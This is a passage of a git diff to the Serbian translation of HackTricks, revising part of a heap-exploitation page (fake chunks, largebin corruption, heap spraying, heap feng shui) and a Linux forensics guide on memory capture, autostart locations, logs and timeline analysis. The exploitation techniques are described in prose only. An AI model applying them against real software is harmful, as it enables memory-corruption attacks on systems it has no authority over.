(ranjivost), rezervacija dela iste veličine kao ranjivi deo i rezervacija drugog dela iste veličine koji će pokazivati na odabranu adresu. -Za zaštitu od ovog napada koristi se tipična provera da deo "nije" lažan: proverava se da li bck->fd pokazuje na žrtvu. Drugim rečima, u našem slučaju, ako pokazivač fd* lažnog dela pokazuje na žrtvu na stacku. Da bi prevazišao ovu zaštitu, napadač bi trebalo na neki način (verovatno preko stacka) da bude u mogućnosti da piše na odgovarajuću adresu adresu žrtve. Tako će izgledati kao pravi deo. +Za zaštitu od ovog napada koristi se tipična provera da deo "nije" lažan: proverava se da li bck->fd pokazuje na žrtvu. Drugim rečima, u našem slučaju, ako pokazivač fd\* lažnog dela pokazuje na žrtvu na stacku. Da bi prevazišao ovu zaštitu, napadač bi trebalo nekako da bude u mogućnosti da napiše (verovatno preko stacka) na odgovarajuću adresu adresu žrtve. Tako će izgledati kao pravi deo. **Korupcija LargeBin** @@ -903,17 +567,17 @@ Napad je kao i prethodni, tj. treba promeniti pokazivač bk i potrebni su svi ti Na primer, treba postaviti size na 1552 kako bi 1552 - 1544 = 8 < MINSIZE (oduzimanje ne može biti negativno jer se upoređuje sa unsigned) -Takođe je uveden zakrpa da bi se to učinilo još složenijim. +Takođe je uveden zakrpa da bi se to učinilo još komplikovanijim. -**Raspršivanje Heap-a** +**Heap Spraying** -Osnovna ideja je rezervisati što je više moguće memorije za heap-ove i popuniti ih jastukom od nopsa završenim shellcode-om. Takođe se koristi 0x0c kao jastuk. Pokušaće se skočiti na adresu 0x0c0c0c0c, pa ako se prepisuje neka adresa na koju će se pozvati ovaj jastuk, skočiće tamo. Osnovna taktika je rezervisati što je više moguće kako bi se videlo da li se prepisuje neki pokazivač i skočiti na 0x0c0c0c0c u nadi da će tamo biti nops. +Osnovna ideja je rezervisati što je više moguće memorije za heap-ove i popuniti ih jastukom od nopsa završenim shellcode-om. Takođe, kao jastuk se koristi 0x0c. Pokušaće se skočiti na adresu 0x0c0c0c0c, pa ako se neka adresa prepisuje sa ovim jastukom, skočiće se tamo. Osnovna taktika je rezervisati što je više moguće kako bi se videlo da li se prepisuje neki pokazivač i skočiti na 0x0c0c0c0c u nadi da će tamo biti nops. -**Feng Shui Heap-a** +**Heap Feng Shui** -Sastoji se u cementiranju memorije putem rezervacija i oslobođenja kako bi se ostavili rezervisani delovi između slobodnih delova. Bafer za prelivanje će se nalaziti u jednom od tih delova. +Sastoji se u cementiranju memorije putem rezervacija i oslobađanja kako bi se ostavili rezervisani delovi između slobodnih delova. Bafer za prelivanje će se nalaziti u jednom od tih delova. -## Interesantni kursevi +## Zanimljivi kursevi * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) @@ -932,7 +596,7 @@ Drugi načini podrške HackTricks-u: * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md index 6a188bec1..02d2204e3 100644 --- a/forensics/basic-forensic-methodology/linux-forensics.md +++ b/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,9 +1,9 @@ -# Forenzika na Linuxu +# Linux Forenzičarstvo -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -14,9 +14,9 @@ Pristupite danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. @@ -26,7 +26,7 @@ Drugi načini podrške HackTricks-u: ### Osnovne informacije -Pre svega, preporučuje se da imate neki **USB** sa **poznatim binarnim fajlovima i bibliotekama** (možete jednostavno uzeti Ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib_ i _/lib64_), zatim montirajte USB, i izmenite okružne promenljive da biste koristili te binarne fajlove: +Pre svega, preporučuje se da imate neki **USB** sa **poznatim dobrim binarnim fajlovima i bibliotekama na njemu** (možete jednostavno uzeti ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib,_ i _/lib64_), zatim montirajte USB, i izmenite env promenljive da koriste te binarne fajlove: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 @@ -51,7 +51,7 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi ``` #### Sumnjive informacije -Prilikom dobijanja osnovnih informacija trebalo bi da proverite čudne stvari kao što su: +Prilikom dobijanja osnovnih informacija trebalo bi proveriti čudne stvari kao što su: - **Root procesi** obično se izvršavaju sa niskim PID-ovima, pa ako pronađete root proces sa velikim PID-om, možete posumnjati - Proverite **registrovane prijave** korisnika bez ljuske unutar `/etc/passwd` @@ -63,7 +63,7 @@ Za dobijanje memorije pokrenutog sistema, preporučuje se korišćenje [**LiME** Da biste ga **kompajlirali**, morate koristiti **isti kernel** koji koristi mašina žrtva. {% hint style="info" %} -Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na mašini žrtve jer će napraviti nekoliko promena na njoj +Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na mašini žrtve jer će to izvršiti nekoliko promena na njoj {% endhint %} Dakle, ako imate identičnu verziju Ubuntua, možete koristiti `apt-get install lime-forensics-dkms`\ @@ -84,8 +84,8 @@ LiME takođe može biti korišćen za **slanje ispisa putem mreže** umesto čuv #### Gašenje -Prvo, moraćete **ugasiti sistem**. Ovo nije uvek opcija jer će nekada sistem biti serverski sistem koji kompanija ne može da priušti da isključi.\ -Postoje **2 načina** gašenja sistema, **normalno gašenje** i **gašenje "izvadi utikač"**. Prvi će omogućiti **procesima da se završe kao i obično** i **datotečnom sistemu** da se **sinhronizuje**, ali će takođe omogućiti mogućem **malveru** da **uništi dokaze**. Pristup "izvadi utikač" može doneti **gubitak nekih informacija** (neće biti mnogo izgubljenih informacija jer smo već napravili sliku memorije) i **malver neće imati priliku** da bilo šta uradi povodom toga. Stoga, ako **sumnjate** da može biti **malvera**, jednostavno izvršite **`sync`** **komandu** na sistemu i izvucite utikač. +Prvo, moraćete **ugasiti sistem**. Ovo nije uvek opcija jer će nekada sistem biti serverski sistem koji kompanija ne može da si priušti da isključi.\ +Postoje **2 načina** za gašenje sistema, **normalno gašenje** i **gašenje "izvadi utikač"**. Prvi će dozvoliti **procesima da se završe kao i obično** i **datotečni sistem** da se **sinhronizuje**, ali će takođe dozvoliti mogućem **malveru** da **uništi dokaze**. Pristup "izvadi utikač" može doneti **gubitak nekih informacija** (neće biti mnogo izgubljenih informacija jer smo već napravili sliku memorije) i **malver neće imati priliku** da uradi bilo šta povodom toga. Stoga, ako **sumnjate** da može biti **malvera**, jednostavno izvršite **`sync`** **komandu** na sistemu i izvucite utikač. #### Pravljenje slike diska @@ -153,7 +153,7 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -201,7 +201,7 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` -
+
\ Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -217,7 +217,7 @@ cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` -## Pregled lokacija automatskog pokretanja +## Pregled lokacija za automatsko pokretanje ### Zakazani zadaci ```bash @@ -235,90 +235,90 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra ``` ### Servisi -Putanje gde se zlonamerni softver može instalirati kao servis: +Putanje gde se malver može instalirati kao servis: -* **/etc/inittab**: Poziva inicijalne skripte poput rc.sysinit, usmeravajući dalje ka skriptama za pokretanje. -* **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje servisa, pri čemu se ove potonje nalaze u starijim verzijama Linuxa. -* **/etc/init.d/**: Koristi se u određenim verzijama Linuxa poput Debiana za čuvanje skripti za pokretanje. -* Servisi se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, zavisno od varijante Linuxa. -* **/etc/systemd/system**: Direktorijum za sistemske i upravljačke skripte servisa. -* **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka servisima koji treba da se pokrenu u multi-korisničkom nivou. -* **/usr/local/etc/rc.d/**: Za prilagođene ili servise trećih strana. -* **\~/.config/autostart/**: Za aplikacije koje se automatski pokreću specifične za korisnika, što može biti skrovište za zlonamerni softver usmeren ka korisniku. -* **/lib/systemd/system/**: Podrazumevane sistemski široko dostupne datoteke jedinica koje pružaju instalirani paketi. +- **/etc/inittab**: Poziva inicijalne skripte poput rc.sysinit, usmeravajući dalje ka skriptama za pokretanje. +- **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje servisa, pri čemu se ova druga nalazi u starijim verzijama Linuxa. +- **/etc/init.d/**: Koristi se u određenim verzijama Linuxa poput Debiana za čuvanje skripti za pokretanje. +- Servisi se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, zavisno od varijante Linuxa. +- **/etc/systemd/system**: Direktorijum za sistemske i skripte za upravljanje servisima. +- **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka servisima koji treba da se pokrenu u multi-korisničkom nivou. +- **/usr/local/etc/rc.d/**: Za prilagođene ili servise trećih strana. +- **\~/.config/autostart/**: Za aplikacije koje se automatski pokreću specifične za korisnika, što može biti skrovište za malver usmeren ka korisniku. +- **/lib/systemd/system/**: Sistemski podrazumevani unit fajlovi koje pružaju instalirani paketi. ### Kernel Moduli -Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke ključni za ove module uključuju: +Linux kernel moduli, često korišćeni od strane malvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i fajlovi od suštinskog značaja za ove module uključuju: -* **/lib/modules/$(uname -r)**: Čuva module za pokrenutu verziju kernela. -* **/etc/modprobe.d**: Sadrži konfiguracione datoteke za kontrolu učitavanja modula. -* **/etc/modprobe** i **/etc/modprobe.conf**: Datoteke za globalna podešavanja modula. +- **/lib/modules/$(uname -r)**: Čuva module za pokrenutu verziju kernela. +- **/etc/modprobe.d**: Sadrži konfiguracione fajlove za kontrolu učitavanja modula. +- **/etc/modprobe** i **/etc/modprobe.conf**: Fajlovi za globalna podešavanja modula. ### Ostale Lokacije za Automatsko Pokretanje -Linux koristi različite datoteke za automatsko izvršavanje programa prilikom prijave korisnika, potencijalno skrivajući zlonamerni softver: +Linux koristi različite fajlove za automatsko izvršavanje programa prilikom prijave korisnika, potencijalno skrivajući malver: -* **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se prilikom svake prijave korisnika. -* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Datoteke specifične za korisnika koje se pokreću prilikom njihove prijave. -* **/etc/rc.local**: Pokreće se nakon što su svi sistemske servisi pokrenuti, označavajući kraj tranzicije ka multi-korisničkom okruženju. +- **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se prilikom svake prijave korisnika. +- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Fajlovi specifični za korisnika koji se pokreću prilikom njihove prijave. +- **/etc/rc.local**: Pokreće se nakon što su svi sistemske servisi pokrenuti, označavajući kraj tranzicije ka multi-korisničkom okruženju. ## Pregledajte Logove -Linux sistemi prate aktivnosti korisnika i događaje sistema putem različitih log datoteka. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija zlonamernim softverom i drugih sigurnosnih incidenata. Ključne log datoteke uključuju: +Linux sistemi prate aktivnosti korisnika i događaje na sistemu putem različitih log fajlova. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija malverom i drugih sigurnosnih incidenata. Ključni log fajlovi uključuju: -* **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Snimaju sistemske poruke i aktivnosti. -* **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave. -* Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih autentifikacionih događaja. -* **/var/log/boot.log**: Sadrži poruke o pokretanju sistema. -* **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje usluga povezanih sa email-om. -* **/var/log/kern.log**: Čuva kernel poruke, uključujući greške i upozorenja. -* **/var/log/dmesg**: Drži poruke upravljača uređaja. -* **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istraživanju sigurnosnih incidenata. -* **/var/log/cron**: Beleži izvršavanja cron poslova. -* **/var/log/daemon.log**: Prati aktivnosti pozadinskih servisa. -* **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave. -* **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove. -* **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka. -* **/var/log/xferlog**: Zapisuje FTP prenose fajlova. -* **/var/log/**: Uvek proverite ovde za neočekivane logove. +- **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Snimaju sistemske poruke i aktivnosti. +- **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave. +- Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih autentifikacionih događaja. +- **/var/log/boot.log**: Sadrži poruke o pokretanju sistema. +- **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje servisa povezanih sa email-om. +- **/var/log/kern.log**: Čuva kernel poruke, uključujući greške i upozorenja. +- **/var/log/dmesg**: Drži poruke drajvera uređaja. +- **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istrazi sigurnosnih prekršaja. +- **/var/log/cron**: Beleži izvršavanja cron poslova. +- **/var/log/daemon.log**: Prati aktivnosti pozadinskih servisa. +- **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave. +- **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove. +- **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka. +- **/var/log/xferlog**: Zabeležava FTP prenose fajlova. +- **/var/log/**: Uvek proverite ovde za neočekivane logove. {% hint style="info" %} -Linux sistemi logove i podsisteme za reviziju mogu biti onemogućeni ili obrisani u slučaju upada ili zlonamernog softvera. Pošto logovi na Linux sistemima generalno sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom pregleda dostupnih log datoteka, važno je tražiti praznine ili vanredne unose koji bi mogli biti indikacija brisanja ili manipulacije. +Linux sistemi logove i podsisteme za reviziju mogu biti onemogućeni ili obrisani u slučaju upada ili incidenta sa malverom. Pošto logovi na Linux sistemima generalno sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom pregleda dostupnih log fajlova, važno je tražiti praznine ili nepravilne unose koji bi mogli biti indikacija brisanja ili manipulacije. {% endhint %} **Linux čuva istoriju komandi za svakog korisnika**, smeštenu u: -* \~/.bash\_history -* \~/.zsh\_history -* \~/.zsh\_sessions/\* -* \~/.python\_history -* \~/.\*\_history +- \~/.bash\_history +- \~/.zsh\_history +- \~/.zsh\_sessions/\* +- \~/.python\_history +- \~/.\*\_history Takođe, komanda `last -Faiwx` pruža listu korisničkih prijava. Proverite je za nepoznate ili neočekivane prijave. -Proverite datoteke koje mogu dati dodatne privilegije: +Proverite fajlove koji mogu dati dodatne privilegije: -* Pregledajte `/etc/sudoers` za neočekivane korisničke privilegije koje su možda dodeljene. -* Pregledajte `/etc/sudoers.d/` za neočekivane korisničke privilegije koje su možda dodeljene. -* Ispitajte `/etc/groups` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole. -* Ispitajte `/etc/passwd` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole. +- Pregledajte `/etc/sudoers` za neočekivane korisničke privilegije koje su možda dodeljene. +- Pregledajte `/etc/sudoers.d/` za neočekivane korisničke privilegije koje su možda dodeljene. +- Ispitajte `/etc/groups` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole. +- Ispitajte `/etc/passwd` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole. Neki programi takođe generišu svoje logove: -* **SSH**: Ispitajte _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije. -* **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupljene fajlove putem Gnome aplikacija. -* **Firefox/Chrome**: Proverite istoriju pretrage i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti. -* **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, poput putanja do pristupljenih fajlova i istorije pretrage. -* **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane fajlove. -* **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za prenose fajlova koji bi mogli biti neovlašćeni. -* **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlaštene aktivnosti u bazi podataka. -* **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane fajlove i izvršene komande. -* **Git**: Ispitajte _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima. +- **SSH**: Ispitajte _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije. +- **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupljene fajlove putem Gnome aplikacija. +- **Firefox/Chrome**: Proverite istoriju pretrage i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti. +- **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, poput putanja do pristupljenih fajlova i istorije pretrage. +- **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane fajlove. +- **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za prenose fajlova koji bi mogli biti neovlašćeni. +- **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlaštene aktivnosti u bazi podataka. +- **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane fajlove i izvršene komande. +- **Git**: Ispitajte _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima. ### USB Logovi -[**usbrip**](https://github.com/snovvcrash/usbrip) je mali softver napisan u čistom Pythonu 3 koji parsira Linux log datoteke (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) radi konstrukcije tabela istorije USB događaja. +[**usbrip**](https://github.com/snovvcrash/usbrip) je mali softver napisan u čistom Pythonu 3 koji parsira Linux log fajlove (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) radi konstrukcije tabela istorije USB događaja. Važno je **znati sve USB uređaje koji su korišćeni** i biće korisnije ako imate autorizovanu listu USB uređaja kako biste pronašli "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi). @@ -337,7 +337,7 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` Više primera i informacija možete pronaći na github-u: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** podržane najnaprednijim alatima zajednice.\ @@ -347,26 +347,26 @@ Pristupite danas: ## Pregled Korisničkih Računa i Aktivnosti Prijavljivanja -Pregledajte _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne dnevnike** za neuobičajena imena ili naloge kreirane i/ili korišćene u blizini poznatih neovlašćenih događaja. Takođe, proverite moguće brute-force napade putem sudo-a.\ +Pregledajte _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne dnevnike** za neobična imena ili naloge kreirane i/ili korišćene u blizini poznatih neovlašćenih događaja. Takođe, proverite moguće brute-force napade putem sudo-a.\ Takođe, proverite datoteke poput _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije date korisnicima.\ Na kraju, potražite naloge bez **šifri** ili sa **lako pogodnim** šiframa. -## Pregledajte Sistem Datoteka +## Pregledajte Fajl Sistem -### Analiza Struktura Sistem Datoteka u Istraživanju Malvera +### Analiza Struktura Fajl Sistema u Istraživanju Malvera -Prilikom istraživanja incidenata sa malverom, struktura sistem datoteka je ključan izvor informacija, otkrivajući kako se događaji odvijaju i sadržaj malvera. Međutim, autori malvera razvijaju tehnike koje otežavaju ovu analizu, poput modifikacije vremena datoteka ili izbegavanja sistema datoteka za skladištenje podataka. +Prilikom istraživanja incidenata sa malverom, struktura fajl sistema je ključan izvor informacija, otkrivajući kako se događaji odvijaju i sadržaj malvera. Međutim, autori malvera razvijaju tehnike koje otežavaju ovu analizu, poput modifikacije vremena fajlova ili izbegavanja fajl sistema za skladištenje podataka. Da biste se suprotstavili ovim anti-forenzičkim metodama, bitno je: * **Sprovesti temeljnu analizu vremenske linije** koristeći alate poput **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskoj liniji. * **Istražiti neočekivane skripte** u $PATH sistemu, koje mogu uključivati skripte ljuske ili PHP skripte korišćene od strane napadača. -* **Pregledati `/dev` za atipične datoteke**, jer tradicionalno sadrži specijalne datoteke, ali može sadržati datoteke povezane sa malverom. -* **Tražiti skrivene datoteke ili direktorijume** sa imenima poput ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koje mogu sakriti zlonamerni sadržaj. -* **Identifikovati setuid root datoteke** korišćenjem komande: `find / -user root -perm -04000 -print` Ovo pronalazi datoteke sa povišenim dozvolama, koje bi mogle biti zloupotrebljene od strane napadača. -* **Pregledati vremena brisanja** u inode tabelama kako biste primetili masovna brisanja datoteka, što može ukazivati na prisustvo rootkita ili trojanaca. -* **Ispitati uzastopne inode** za bliske zlonamerne datoteke nakon identifikacije jedne, jer su možda postavljene zajedno. -* **Proveriti zajedničke binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane datoteke, jer bi ih malver mogao promeniti. +* **Pregledati `/dev` za atipične fajlove**, jer tradicionalno sadrži specijalne fajlove, ali može sadržati fajlove povezane sa malverom. +* **Tražiti skrivene fajlove ili direktorijume** sa imenima poput ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koji bi mogli sakriti zlonamerni sadržaj. +* **Identifikovati setuid root fajlove** korišćenjem komande: `find / -user root -perm -04000 -print` Ovo pronalazi fajlove sa povišenim dozvolama, koje napadači mogu zloupotrebiti. +* **Pregledati vremena brisanja** u tabelama inode-a kako biste primetili masovna brisanja fajlova, što može ukazivati na prisustvo rootkita ili trojanca. +* **Ispitati uzastopne inode-e** za bliske zlonamerne fajlove nakon identifikacije jednog, jer su možda postavljeni zajedno. +* **Proveriti zajedničke binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane fajlove, jer bi ovi fajlovi mogli biti promenjeni od strane malvera. ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -375,12 +375,12 @@ ls -laR --sort=time /bin``` ls -lai /bin | sort -n``` ```` {% hint style="info" %} -Imajte na umu da **napadač** može **izmeniti** **vreme** da bi **datoteke izgledale** **legitimno**, ali ne može izmeniti **inode**. Ako primetite da **datoteka** pokazuje da je kreirana i izmenjena u **istom vremenu** kao i ostale datoteke u istom folderu, ali je **inode** **neočekivano veći**, onda su **vremenske oznake te datoteke izmenjene**. +Imajte na umu da **napadač** može **izmeniti** **vreme** da bi **datoteke izgledale** **legitimno**, ali ne može da izmeni **inode**. Ako primetite da **datoteka** pokazuje da je kreirana i izmenjena u **istom vremenu** kao i ostale datoteke u istom folderu, ali je **inode** **neočekivano veći**, onda su **vremenske oznake te datoteke izmenjene**. {% endhint %} ## Uporedite datoteke različitih verzija fajl sistema -### Sažetak uporedbe verzija fajl sistema +### Sažetak Uporedbe Verzija Fajl Sistema Da biste uporedili verzije fajl sistema i precizno odredili promene, koristimo pojednostavljene `git diff` komande: @@ -416,22 +416,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
-Naučite hakovanje AWS-a od početka do naprednog nivoa sa htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -**Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud). +**Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
-
+
